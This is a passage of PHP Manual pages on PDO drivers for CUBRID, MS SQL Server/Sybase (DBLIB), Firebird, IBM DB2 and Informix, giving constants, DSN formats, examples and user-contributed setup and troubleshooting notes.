The following constants can be used when setting the database attribute. They can be passed to PDO::getAttribute() or PDO::setAttribute().

PDO::CUBRID attribute flags
Constant | Description
PDO::CUBRID_ATTR_ISOLATION_LEVEL | Transaction isolation level for the database connection.
PDO::CUBRID_ATTR_LOCK_TIMEOUT | Transaction timeout in seconds.
PDO::CUBRID_ATTR_MAX_STRING_LENGTH | Read only. The maximum string length for bit, varbit, char, varchar, nchar, nchar varying data types when using CUBRID PDO API.

The following constants can be used when setting the transaction isolation level. They can be passed to PDO::getAttribute() or returned by PDO::setAttribute().

PDO::CUBRID isolation level flags
Constant | Description
PDO::TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
PDO::TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
PDO::TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
PDO::TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
PDO::TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
PDO::TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to PDO::cubrid_schema().

PDO::CUBRID schema flags
Constant | Description
PDO::CUBRID_SCH_TABLE | Get name and type of table in CUBRID.
PDO::CUBRID_SCH_VIEW | Get name and type of view in CUBRID.
PDO::CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
PDO::CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
PDO::CUBRID_SCH_TABLE_ATTRIBUTE | Get the attributes of table.
PDO::CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
PDO::CUBRID_SCH_TABLE_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
PDO::CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
PDO::CUBRID_SCH_SUPER_TABLE | Get the name and type of table which table inherites attributes from.
PDO::CUBRID_SCH_SUB_TABLE | Get the name and type of table which inherites attributes from this table.
PDO::CUBRID_SCH_CONSTRAINT | Get the table constraints.
PDO::CUBRID_SCH_TRIGGER | Get the table triggers.
PDO::CUBRID_SCH_TABLE_PRIVILEGE | Get the privilege information of table.
PDO::CUBRID_SCH_COL_PRIVILEGE | Get the privilege information of column.
PDO::CUBRID_SCH_DIRECT_SUPER_TABLE | Get the direct super table of table.
PDO::CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
PDO::CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
PDO::CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
PDO::CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

Table of Contents

  • PDO_CUBRID DSN — Connecting to CUBRID databases
  • PDO::cubrid_schema — Get the requested schema information

User Contributed Notes

There are no user contributed notes for this page.


Connecting to CUBRID databases

  • « CUBRID (PDO)
  • PDO::cubrid_schema »
  • PHP Manual
  • CUBRID (PDO)
  • Connecting to CUBRID databases

PDO_CUBRID DSN

(No version information available, might only be in Git)

PDO_CUBRID DSN — Connecting to CUBRID databases

Description

The PDO_CUBRID Data Source Name (DSN) is composed of the following elements, delimited by semicolons:

DSN prefix

The DSN prefix is cubrid:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

Notes

Note:

When you estalish the connection to CUBRID, you should give username and password except DSN.

Examples

Example #1 PDO_CUBRID DSN examples

The following example shows a PDO_CUBRID DSN for connecting to a CUBRID database:

cubrid:host=localhost;port=33000;dbname=demodb

User Contributed Notes

There are no user contributed notes for this page.


Get the requested schema information

  • « PDO_CUBRID DSN
  • MS SQL Server (PDO) »
  • PHP Manual
  • CUBRID (PDO)
  • Get the requested schema information

PDO::cubrid_schema

(No version information available, might only be in Git)

PDO::cubrid_schema — Get the requested schema information

Description

public array PDO::cubrid_schema ( int $schema_type [, string $table_name [, string $col_name ]] )

This function is used to get the requested schema information from database. You have to designate table_name, if you want to get information on certain table, col_name, if you want to get information on certain column (can be used only with PDO::CUBRID_SCH_COL_PRIVILEGE).

The result of this function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
PDO::CUBRID_SCH_TABLE | 1 | NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_VIEW | 1 | NAME |
 | 2 | TYPE | 1:view
PDO::CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
PDO::CUBRID_SCH_ATTRIBUTE / PDO::CUBRID_SCH_TABLE_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
PDO::CUBRID_SCH_METHOD / PDO::CUBRID_SCH_TABLE_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
PDO::CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
PDO::CUBRID_SCH_SUPER_TABLE / PDO::CUBRID_SCH_DIRECT_SUPER_TABLE / PDO::CUBRID_SCH_SUB_TABLE | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
PDO::CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
PDO::CUBRID_SCH_TABLE_PRIVILEGE / PDO::CUBRID_SCH_COL_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
PDO::CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
PDO::CUBRID_SCH_IMPORTED_KEYS / PDO::CUBRID_SCH_EXPORTED_KEYS / PDO::CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Parameters

schema_type

Schema type that you want to know.

table_name

Table you want to know the schema of.

col_name

Column you want to know the schema of.

Return Values

Array containing the schema information, when process is successful;

FALSE, when process is unsuccessful

Examples

Example #1 A PDO::cubrid_schema() example

This example shows how to get primary key and foreign keys of table game.

<?php
$pk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_PRIMARY_KEY, "game");
print_r($pk_list);

$fk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_IMPORTED_KEYS, "game");
print_r($fk_list);
?>

The above example will output:

Result:
Array
(
    [0] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => athlete_code
            [KEY_SEQ] => 3
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [1] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => event_code
            [KEY_SEQ] => 2
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [2] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => host_year
            [KEY_SEQ] => 1
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

)
Array
(
    [0] => Array
        (
            [PKTABLE_NAME] => athlete
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => athlete_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_athlete_code
            [PK_NAME] => pk_athlete_code
        )

    [1] => Array
        (
            [PKTABLE_NAME] => event
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => event_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_event_code
            [PK_NAME] => pk_event_code
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_DBLIB is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Microsoft SQL Server and Sybase databases through the FreeTDS libary.

This extension is not available anymore on Windows with PHP 5.3 or later.

On Windows, you should use SqlSrv, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx .

If it is not possible to use SqlSrv, you can use the PDO_ODBC driver to connect to Microsoft SQL Server and Sybase databases, as the native Windows DB-LIB is ancient, thread un-safe and no longer supported by Microsoft.

Table of Contents

  • PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

User Contributed Notes

ian at helastel dot com 18-Jul-2012 12:27
For people with issues inserting UTF-8 / Unicode data using DBLIB, you can't do this natively - but you can workaround the problem by converting the data first.

e.g. inserting into a nvarchar column with collation Latin1_General_CI_AS

...
$res = $db->prepare($sql);
$res->bindValue(':value', iconv('UTF-8', 'ISO8859-1', $value);
...
TomF 18-Oct-2011 05:18
Note that you must connect with an MS SQL user - FreeTDS does not seem to like active directory linked users.
meltir at meltir dot com 21-Jan-2011 05:48
Keep in mind the limitation sql server imposes on clients using the connection methods that dblib uses:
no ntext column values can be transmitted, you will get an insightfull '4004' error when trying.

The full text of the error is:
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

For more info on errors that mssql might throw at you, please see:
http://msdn.microsoft.com/en-us/library/aa937595%28v=SQL.80%29.aspx
xwisdom at gmail dot com 10-Dec-2010 12:42
Here's how to call a stored procedure from MS SQL Server:

<?php
$return = null;
$param1 = 'value1';
$param2 = 'value2';

$ds = $db->prepare('{? = call ?,?}');
$ds->bindParam(1, $return, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(2, $param1, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(3, $param2, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);

$ds->execute();
?>
twilson at tridiumtech dot com 21-Oct-2009 03:05
Hopefully this will help someone who is having problems connecting to MSSQL. I was having a heck of a time trying to get my dev server to connect to a remote MSSQL 2005 box.

When using PDO like so:
<?php
$mssql = new PDO('dblib:host=<host>;dbname=<dbname>','<user>','<password>');
?>

I was receiving the message:

Adaptive Server is unavailable or does not exist

And mssql_connect() simply told me "Could not connect to server"

I tried everything, different configuration options for FreeTDS/PHP, different versions, etc. But the answer was one line in php.ini:

mssql.secure_connection = Off

This line, which defaults to Off, needs to be ON if you are using NT authentication:

mssql.secure_connection = On

Here is my build:

FreeTDS-0.82 configured like:
./configure --with-tdsver=8.0 --enable-msdblib --with-gnu-ld

PHP 5.2.11 configured like:
./configure --with-mssql=/usr/local --with-pdo-dblib=/usr/local [other options]

Running on Apache/2.2.13 (Unix / Linux)

Feel free to email me if you need help as I've spent 20+ hours reading and fiddling with this issue, so I'm very familiar with it now.

Peace,
Tom
dpassey at everettsd dot org 29-May-2009 10:35
For PDO MSSQL connection issues, ensure that you have the updated version of ntwdblib.dll (currently 8.00.194 as of this post).  Overwrite the existing (old) file or place it in the Windows system32 folder.  The version that ships with PHP 5.2.X does not work.  This is a well known issue apparently, but I had a really hard time finding information on this issue until I was able to lock in a file name.  I hope that this helps someone.
tris+php at tfconsulting dot com dot au 25-Mar-2009 04:03
If you are struggling with
'Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.'
when trying to do 'SELECT *' queries:

Obviously the best way to deal with this is change your unicode fields to the ascii equivalent (ntext > text), but if that is not an option here is an implementation based on the info at http://www.rochester.edu/IT/web/WebHelp/mssql/limitations.html which checks the data types of the fields and casts them as neccesary.

<?php
class mssql {
    private static $statement=null;

    private static $typemap=array(
        'ntext' => 'text',
        'bigint' => 'real',
        'decimal' => 'real',
        'float' => 'real',
        'numeric' => 'real'
    );

    public static function all_fields($table) {
        if(self::$statement==null) {
            $db=pdodb::instance(); // or however you get your global instance
            $query="SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=?";
            self::$statement=$db->prepare($query);
        }

        self::$statement->execute(array($table));

        $fields=array();
        $need_cast=false;
        while($field=self::$statement->fetch()) {
            $field_quoted=self::quote_field($field['COLUMN_NAME']);
            if(isset(self::$typemap[$field['DATA_TYPE']])) {
                $fields[]='CAST('.$field_quoted.' AS '.self::$typemap[$field['DATA_TYPE']].') AS '.$field_quoted;
                $need_cast=true;
            } else $fields[]=$field_quoted;
        }
        return ($need_cast) ? implode(', ',$fields) : '*';
    }

    public static function quote_field($field) {
        $pos=strpos($field,' ');
        return ($pos===false) ? $field : '['.$field.']';
    }
}

$db=pdodb:instance(); // singleton PDO instance
$stmt=$db->prepare('SELECT '.mssql::all_fields('My_Table').' FROM My_Table');
$stmt->execute();
...
?>

Essentially mssql::all_fields($table) returns '*' if it can, otherwise the fields listed with the relevant casts in place e.g. 'NoteIdent, Owner, CAST(Note AS text) AS Note'
Bryan 15-Jan-2009 12:21
To enable the mssql PDO driver under windows you need to:

1) uncomment the "extension=php_pdo_mssql.dll" line from php.ini
2) copy ntwdblib.dll into the directory where you have installed php
arnolem at free dot fr 12-Dec-2007 02:45
I think that PDO_DBLIB is now stable :
You can download the last source at http://pecl.php.net/package/PDO_DBLIB
Steve H 01-Jun-2006 06:24
To connect to SQL Server 2005 Express on Windows, do it like this:

$pdo = new PDO ('mssql:host=localhost,1433;dbname=[redacted]', '[redacted]', '[redacted]');

localhost
localhost\SQLEXPRESS
localhost\1433
localhost:1433

will not work on Windows.

localhost,1433

does work.

YMMV on other OS's; try each.

Also make sure your TCP/IP Properties -> IP Addresses are correct under SQL Server Configuration Manager.
support at converters dot ru 25-Jan-2006 02:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com 08-Sep-2005 09:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
    $hostname = "myhost";
    $port = 10060;
    $dbname = "tempdb";
    $username = "dbuser";
    $pw = "password";
    $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.


Connecting to Microsoft SQL Server and Sybase databases

  • « MS SQL Server (PDO)
  • Firebird (PDO) »
  • PHP Manual
  • MS SQL Server (PDO)
  • Connecting to Microsoft SQL Server and Sybase databases

PDO_DBLIB DSN

(PECL PDO_DBLIB >= 0.9.0)

PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

Description

The PDO_DBLIB Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sybase: if PDO_DBLIB was linked against the Sybase ct-lib libraries, mssql: if PDO_DBLIB was linked against the Microsoft SQL Server libraries, or dblib: if PDO_DBLIB was linked against the FreeTDS libraries.

host

The hostname on which the database server resides. Defaults to 127.0.0.1.

dbname

The name of the database.

charset

The client character set.

appname

The application name (used in sysprocesses). Defaults to "PHP Generic DB-lib" or "PHP freetds".

secure

Currently unused.

Examples

Example #1 PDO_DBLIB DSN examples

The following examples show a PDO_DBLIB DSN for connecting to Microsoft SQL Server and Sybase databases:

mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

User Contributed Notes

michal at durys dot pl 10-May-2013 05:22
If you're using FreeTDS driver and you want to use "charset" parameter then you may have to edit freetds.conf (e.g. /etc/freetds/freetds.conf) and force connection using at least version 7.0 of the protocol.

tds version = 7.0

Charset parameter accepts all encodings supported by iconv (execute iconv --list to show all encodings).
aero2sing at hotmail dot com 21-Feb-2013 02:26
Be careful if you are using dblib with prepared statement, as it will crash if first execution didn't return anything.

referring to https://bugs.php.net/bug.php?id=40639
ulisse at atc dot bologna dot it 11-Mar-2010 02:38
on Linux ppc64 / PHP 5.1.2 / freetds-0.64 works well this way:

<?php
// ...
$dbh = new PDO("dblib:host=$hostdb;dbname=$dbname", $usr, $psw);
// ...
?>
slach at 74mail dot ru 04-Feb-2009 11:11
when you connect to non standart 1433 port

for win32 use DSN like 'mssql:host=hostname,port;dbname=database'

for FreeTDS and DB-Lib use DSN like  'mssql:host=hostname:port;dbname=database'


Firebird Functions (PDO_FIREBIRD)

Introduction

PDO_FIREBIRD is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Firebird database.

Installation

Use --with-pdo-firebird[=DIR] to install the PDO Firebird extension, where the optional [=DIR] is the Firebird base install directory.

$ ./configure --with-pdo-firebird

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::FB_ATTR_DATE_FORMAT (integer)

Available since PHP 5.3.0.

Sets the date format.

PDO::FB_ATTR_TIME_FORMAT (integer)

Sets the time format.

Available since PHP 5.3.0.

PDO::FB_ATTR_TIMESTAMP_FORMAT (integer)

Sets the timestamp format.

Available since PHP 5.3.0.

Table of Contents

  • PDO_FIREBIRD DSN — Connecting to Firebird databases

User Contributed Notes

Anonymous 01-Oct-2012 09:40
After two days of trouble with no visibile issues, when rebooting the system two popups come up:

PHP Startup: Unable to load dynamic library
'c:/wamp/bin/php/php.5.3.13/ext/php_interbase.dll' - %1 non è un'applicazione di Win32 valida.

PHP Startup: Unable to load dynamic library
'c:/wamp/bin/php/php.5.3.13/ext/php_pdo_firebird.dll' - %1 non è un'applicazione di Win32 valida.

I've just re-installed wampserver (http://www.wampserver.com/en/) and all seems run well.

To see if your Firebird PDO driver runs well:

<?php
 foreach(PDO::getAvailableDrivers() as $driver) {
  echo $driver.'<br />';
}?>
mark-php at vectrex dot org dot uk 03-Jun-2007 12:15
If you have a database alias on the server "localhost" called "test.fdb", you can do:

$conn = new PDO("firebird:dbname=localhost:test.fdb",
                'SYSDBA','letmein');

Note that as of the time of writing, the Firebird driver doesn't correctly throw an exception on connection error

http://bugs.php.net/bug.php?id=41522
thomas at last-it dot de 04-Feb-2006 02:52
if youre dsn syntax is wrong, see ritsaert's comment, there maybe no errormessage!
ritsaert at continuit dot nl 19-Dec-2005 03:43
The connection string for a firebird PDO connection is different than described above. It is something like:

$DB = new PDO("firebird:dbname=T:\\Klimreg.GDB", "SYSDBA", "masterkey");

after dbname= the default connection string for Interbase and Firebird databases is used as presented to either gds32.dll or fbclient.dll.


Connecting to Firebird databases

  • « Firebird (PDO)
  • IBM (PDO) »
  • PHP Manual
  • Firebird (PDO)
  • Connecting to Firebird databases

PDO_FIREBIRD DSN

(PECL PDO_FIREBIRD >= 0.1.0)

PDO_FIREBIRD DSN — Connecting to Firebird databases

Description

The PDO_FIREBIRD Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is firebird:.

dbname

The name of the database.

charset

The character set.

role

The SQL role name.

Examples

Example #1 PDO_FIREBIRD DSN example with path

The following example shows a PDO_FIREBIRD DSN for connecting to Firebird databases:

firebird:dbname=/path/to/DATABASE.FDB

Example #2 PDO_FIREBIRD DSN example with port and path

The following example shows a PDO_FIREBIRD DSN for connecting to a Firebird database using hostname port and path:

firebird:dbname=hostname/port:/path/to/DATABASE.FDB

Example #3 PDO_FIREBIRD DSN example with localhost and path to employee.fdb on Debian system

The following example shows a PDO_FIREBIRD DSN for connecting to a Firebird database employee.fdb using localhost:

firebird:dbname=localhost:/var/lib/firebird/2.5/data/employee.fdb

User Contributed Notes

jon at 3blooms dot net 27-Mar-2013 09:15
A more complete description of the PDO DSN for accessing a remote server instance of Firebird:

firebird:dbname=hostname/port:database_name

Example:

firebird:dbname=localhost/3050:C:\PKS4\Data\testdb.fdb

Of course, properly escape the backslashes in the database file path, or use a single-quoted string.
nelson at integrasoftware dot com dot br 19-Nov-2007 12:24
my Firebird connection example:

$str_conn = "firebird:dbname=C:\db\banco.gdb;host=localhost";

$dbh = new PDO($str_conn, "SYSDBA", "masterkey");


IBM Functions (PDO_IBM)

Introduction

PDO_IBM is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to IBM databases.

Installation

To build the PDO_IBM extension, the DB2 Client v9.1 or later must be installed on the same system as PHP. The DB2 Client can be downloaded from the IBM » Application Development Site.

Note: Note

The DB2 Client v9.1 or later supports direct access to DB2 for Linux, UNIX, and Windows v8 and v9.1 servers.

The DB2 Client v9.1 also supports access to DB2 UDB for i5 and DB2 UDB for z/OS servers using the separately purchased » DB2 Connect product.

PDO_IBM is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_IBM extension. Issue the configure command to point to the location of your DB2 Client header files and libraries as follows:

bash$ ./configure --with-pdo-ibm=/path/to/sqllib[,shared]
The configure command defaults to the value of the DB2DIR environment variable.

Table of Contents

  • PDO_IBM DSN — Connecting to IBM databases

User Contributed Notes

There are no user contributed notes for this page.


Connecting to IBM databases

  • « IBM (PDO)
  • Informix (PDO) »
  • PHP Manual
  • IBM (PDO)
  • Connecting to IBM databases

PDO_IBM DSN

(PECL PDO_IBM >= 0.9.0)

PDO_IBM DSN — Connecting to IBM databases

Description

The PDO_IBM Data Source Name (DSN) is based on the IBM CLI DSN. The major components of the PDO_IBM DSN are:

DSN prefix

The DSN prefix is ibm:.

DSN

The DSN can be any of the following:

  • a) Data source setup using db2cli.ini or odbc.ini

  • b) Catalogued database name i.e. database alias in the DB2 client catalog

  • c) Complete connection string in the following format: DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password; where the parameters represent the following values:

    database

    The name of the database.

    hostname

    The hostname or IP address of the database server.

    port

    The TCP/IP port on which the database is listening for requests.

    username

    The username with which you are connecting to the database.

    password

    The password with which you are connecting to the database.

Examples

Example #1 PDO_IBM DSN example using db2cli.ini

The following example shows a PDO_IBM DSN for connecting to an DB2 database cataloged as DB2_9 in db2cli.ini:

$db = new PDO("ibm:DSN=DB2_9", "", "");

[DB2_9]
Database=testdb
Protocol=tcpip
Hostname=11.22.33.444
Servicename=56789

Example #2 PDO_IBM DSN example using a connection string

The following example shows a PDO_IBM DSN for connecting to an DB2 database named testdb using the DB2 CLI connection string syntax.

$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
  "HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

User Contributed Notes

There are no user contributed notes for this page.


Informix Functions (PDO_INFORMIX)

Introduction

PDO_INFORMIX is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Informix databases.

Installation

To build the PDO_INFORMIX extension, the Informix Client SDK 2.81 UC1 or higher must be installed on the same system as PHP. The Informix Client SDK is available from the » IBM Informix Support Site.

PDO_INFORMIX is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_INFORMIX extension. Issue the configure command to point to the location of your Informix Client SDK header files and libraries as follows:

   bash$ ./configure --with-pdo-informix=/path/to/SDK[,shared]
The configure command defaults to the value of the INFORMIXDIR environment variable.

Scrollable cursors

PDO_INFORMIX supports scrollable cursors; however, they are not enabled by default. To enable scrollable cursor support, you must either set ENABLESCROLLABLECURSORS=1 in the corresponding ODBC connection settings in odbc.ini or pass the EnableScrollableCursors=1 clause in the DSN connection string.

Table of Contents

  • PDO_INFORMIX DSN — Connecting to Informix databases

User Contributed Notes

rdutan at aplext dot com 08-Mar-2012 08:43
tip: in fedora 16 you must set INFORMIXDIR  in /etc/sysconfig/httpd
example:
INFORMIXDIR=/home/informix
export INFORMIXDIR
dan at mutagenix dot org 26-Oct-2009 06:22
I've just built PHP 5.2.11 with pdo_informix support on Slackware 13.0.  I had to use the following options in order to disable pdo from being compiled in (notice the difference in the --without-pdo-sqlite option from previous post):

--disable-pdo option --without-pdo-sqlite option

I also could not use the --with-sigchild option which caused problems with phpize.

This fixed the informix -11001 error that I was getting.  I was also getting an informix -23101 error (something about locale mismatches), but it was because I was not completely removing the compiled in pdo support.

I then had to;

rm -rf /usr/lib/php/.channels
pear update-channels
pecl install --alldeps pdo_informix pdo_mysql pdo_sqlite.

There were other, smaller issues, but that is the lion's share.
cwgraven at gmail dot com 15-Jan-2009 06:11
I noticed that SQLite is installed by php by default...oh and it happens to use PDO. So dont forget to use --without-sqlite.

My successful config looks like this:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-curl --with-xsl --disable-pdo --without-sqlite
dbeecher at tekops dot com 22-Jul-2008 04:21
Solved the issue with PHP 5.2.4 and others.

The embedded PDO in php since 5.1+ is INCOMPATIBLE with the latest PDO_MYSQL and PDO_INFORMIX, etc.  I just spent 2 days working on this.  This solution works on numerous versions of Linux I've tried as well as SunOS and HPUX.

The basic issue, getting this message when running PHP with PDO and trying
to get PDO_INFORMIX working, but having a version conflict:

"PHP Fatal error: PDO: driver informix requires PDO API version 20060409;
this is PDO version 20060511 in Unknown on line 0"

The "embedded" PDO that is within PHP since version 5.1 CONFLICTS with the
PDO the  PEAR/PECL modules are expecting.

1) Rebuild PHP with no pdo (--disable-pdo) (and you can't have
  any stuff like --with-mysql-pdo, either)
2) Then use PEAR/PECL to install PDO:  pear install pdo
3) then use PEAR/PECL to install PDO_INFORMIX:
              pear install --alldeps pdo_informix
4) make sure your php.ini extensions_dir points to the directory
   where these are placed
5) then add these references to php.ini:
    extensions=pdo.so
    extensions=pdo_informix.so
    extensions=pdo_mysql.so (etc.)

6) run php -v now and you should not see any errors.

7) run "pear list" and "pecl list" to see the installed modules

8) run php -i |egrep "pdo|PDO" to see:

php -i |egrep "pdo|PDO"
Configure Command =>  './configure'  '--disable-pdo'
'--with-apxs2=/usr/local/apache2/bin/apxs' '--with-openssl=/usr'
'--enable-force-cgi-redirect' '--with-gd' '--with-jpeg-dir=/usr/lib'
'--with-zlib' '--enable-bcmath' '--enable-mbstring=all' '--with-curl'
PDO
PDO support => enabled
PDO drivers => mysql, informix
pdo_informix
pdo_informix support => enabled
pdo_mysql
PDO Driver for MySQL, client library version => 5.0.51a

I would have tried the embedded PDO and then also --with-informix-pdo=shared but as an earlier post here showed, the --with-informix... is unknown.  Please correct my mistake if I am mistyping it.

GOOD LUCK!
David
alan dot acosta at gps dot com dot co 20-Sep-2007 01:01
Take care, with php-5.2.4 --with-pdo-informix=shared,/home/informix
 doesn't work, just says:
Notice: Following unknown configure options were used:
--with-pdo-informix=shared,/home/informix


Connecting to Informix databases

  • « Informix (PDO)
  • MySQL (PDO) »
  • PHP Manual
  • Informix (PDO)
  • Connecting to Informix databases

PDO_INFORMIX DSN

(PECL PDO_INFORMIX >= 0.1.0)

PDO_INFORMIX DSN — Connecting to Informix databases

Description

The PDO_INFORMIX Data Source Name (DSN) is based on the Informix ODBC DSN string. Details on configuring an Informix ODBC DSN are available from the » Informix Dynamic Server Information Center. The major components of the PDO_INFORMIX DSN are:

DSN prefix

The DSN prefix is informix:.

DSN

The DSN can be either a data source setup using odbc.ini or a complete » connection string.

Examples

Example #1 PDO_INFORMIX DSN example using odbc.ini

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database cataloged as Infdrv33 in odbc.ini:

